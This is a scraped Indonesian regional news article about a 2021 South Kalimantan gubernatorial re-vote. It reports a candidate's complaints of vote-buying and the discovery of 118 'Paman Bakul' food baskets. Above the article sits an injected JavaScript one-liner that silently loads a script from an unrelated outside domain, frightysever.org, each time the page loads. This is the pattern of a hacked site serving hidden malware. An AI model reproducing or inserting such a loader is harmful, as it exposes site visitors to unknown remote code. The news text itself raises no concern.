(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – H Denny Indrayana kembali melapor dugaan pelanggaran Pemilu ke Badan Pengawas Pemilihan Umum (Bawaslu) Kalsel, Sabtu (10/4/2021) siang.
Calon Gubernur Kalsel nomor urut 02 membawa bakul bertuliskan “Paman Bakul” yang diduga akan dibagikan wilayah Pemungutan Suara Ulang (PSU) di Kecamatan Martapura Kota, Kabupaten Banjar.
Kepada awak media, usai melapor ke Bawaslu Kalsel, H Denny mengatakan pihaknya menemukan banyak aksi pelanggaran di lapangan dengan modus yang bermacam-macam. Mulai dari bakul walaupun tidak lagi bertuliskan nama petahana.
“Tadi malam tim kami turun di Martapura, di sana menemukan kurang lebih 100 bakul yang siap dibagikan hari ini,” ujar Denny.
Wamenkum HAM era Presiden SBY ini juga mengatakan modus lain dari bentuk politik uang, dimana Paslon lawan memborong makanan di warung-warung hingga pemberian sejumlah uang.
Baca juga: Empat Orang Diringkus Polres Banjarbaru, Polisi Sita 30 Gram Sabu
Tidak cukup sampai di situ, Denny Indrayana mengungkapkan ada tindakan-tindakan pelibatan aparat penyelenggara negara hingga level desa.
“Saya mendengar ada pengumpulan kepala dinas dan itu bentuk pemanfaatan penyelenggara pemerintahan,” tuturnya.
Denny menambahkan, pihaknya juga menemukan modus berupa stiker yang ditempel di rumah-rumah yang disamarkan dengan ajakan untuk ke TPS.
“Ini tujuannya untuk mengidentifikasi pemilih dan nanti akan ada pemberian sejumlah uang yang saya dengan sebanyak tiga kali,” ujar Denny.
Modus-modus semacam itu sangat marak di lapangan di wilayah yang akan menyelenggarkan PSU, ucapnya, hingga pihaknya sendiri kecewa terhadap Bawaslu yang diam saja.
Baca juga: Tim H2D Temukan Bakul Sembako Siap Bagi di Tambak Anyar
Denny menegaskan kedatangan ke Bawaslu Kalsel adalah meminta Bawaslu bisa bekerja secara profesional, independen, dan netral.
“Tidak sulit untuk menemukan bakul, tidak sulit melihat Paman memborong belanjaan, tidak sulit menemukan stiker di rumah-rumah,” tambahnya.
Kepada wartawan, Denny Indrayana menekankan ia protes keras karena kejadian semacam ini dibiarkan dan didiamkan begitu saja. Bawaslu Kalsel sendiri sampai saat ini masih memproses bentuk laporan yang masuk ke pihaknya.
Tim H2D Temukan Bakul Sembako di Desa Tambak Anyar
Seratus lebih bakul purun bertuliskan Paman Bakul yang berisikan paket sembako diduga akan dibagikan di Kabupaten Banjar.
Temuan bakul sembako itu berada di wilayah pelaksanaan Pemungutan Suara Ulang (PSU) Pilgub Kalsel di Kecamatan Martapura Kota, Kabupaten Banjar oleh Divisi Hukum Haji Denny Indrayana-Haji Difriadi (H2D), pada Sabtu (10/4/2021) dini hari.
Baca juga: Tanam Pohon di RTH Taman Demang Lehman
Didasari atas laporan masyarakat dengan disaksikan Ketua Bawaslu Banjar Fajeri Tamjidillah, Tim Divisi Hukum H2D Jurkani dan Muhammmad Raziv Barokah mendatangi salah satu rumah warga yang dijadikan tempat penyimpanan bakul purun bertuliskan “Paman Bakul”.
Diduga bakul-bakul purun ini akan di bagikan kepada korban banjir di Desa Tambak Anyar, Kecamatan Martapura Kota.
Jurkani membenarkan adanya temuan 118 paket bakul purun lengkap beserta isinya yang ditemukan di rumah warga tersebut.
“Tadinya kami mendapati laporan dari masyarakat, ternyata setelah kami periksa benar ada seratus lebih bakul purun beserta isinya dengan tulisan Paman Bakul di Desa Tambak Anyar,” ujar Jurkani kepada Kanalkalimantan.com.
Baca juga: Parade Pasar Tradisional Kampung Purun di Banjarbaru
Sementara itu, Ketua Bawaslu Banjar FajeriTamjidillah yang menyaksikan temuan tersebut mengatakan, turut berhadir setelah mendapati laporan dari tim H2D.
“Saya ditelpon oleh tim H2D yang mengatakan ada temuan di Desa Tambak Anyar, desa yang nantinya akan melaksanakan PSU. Setelah saya hadir ternyata memang banar ada 118 bakul yang bertuliskan Paman Bakul yang berisikan sembako di rumah GN, mantan pembakal desa tersebut,” akunya.
Dari keterangan GN, kata Fajeri, bakul sembako tersebut dibagikan untuk warga korban banjir di desanya.
Baca juga: ACT Kalsel Luncurkan Program Ramadhan 2.0 Aksi Tanpa Batas
“GN mengatakan, bahwa bakul sembako tersebut akan dibagikan ke warga korban banjir dan tidak disertai ajakan tertentu. GN juga menyatakan, bakul sembako itu atas permintaan pihaknya dan diserahkan oleh seseorang berinsial AP,” ujar Ketua Bawaslu Banjar ini.
Atas temuan ini, kata Fajeri Tamzidillah, Bawaslu Banjar akan melakukan penyelidikan, sebab rencana pembagian bakul sembako ini dilakukan di wilayah PSU Pilgub Kalsel di Kota Martapura.
“Temuan ini akan kita tindaklanjuti dengan melakukan penelusuran dan penyelidikan,” pungkasnya. (kanalkalimantan.com/nissa)
Reporter : nissa
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
This website uses cookies.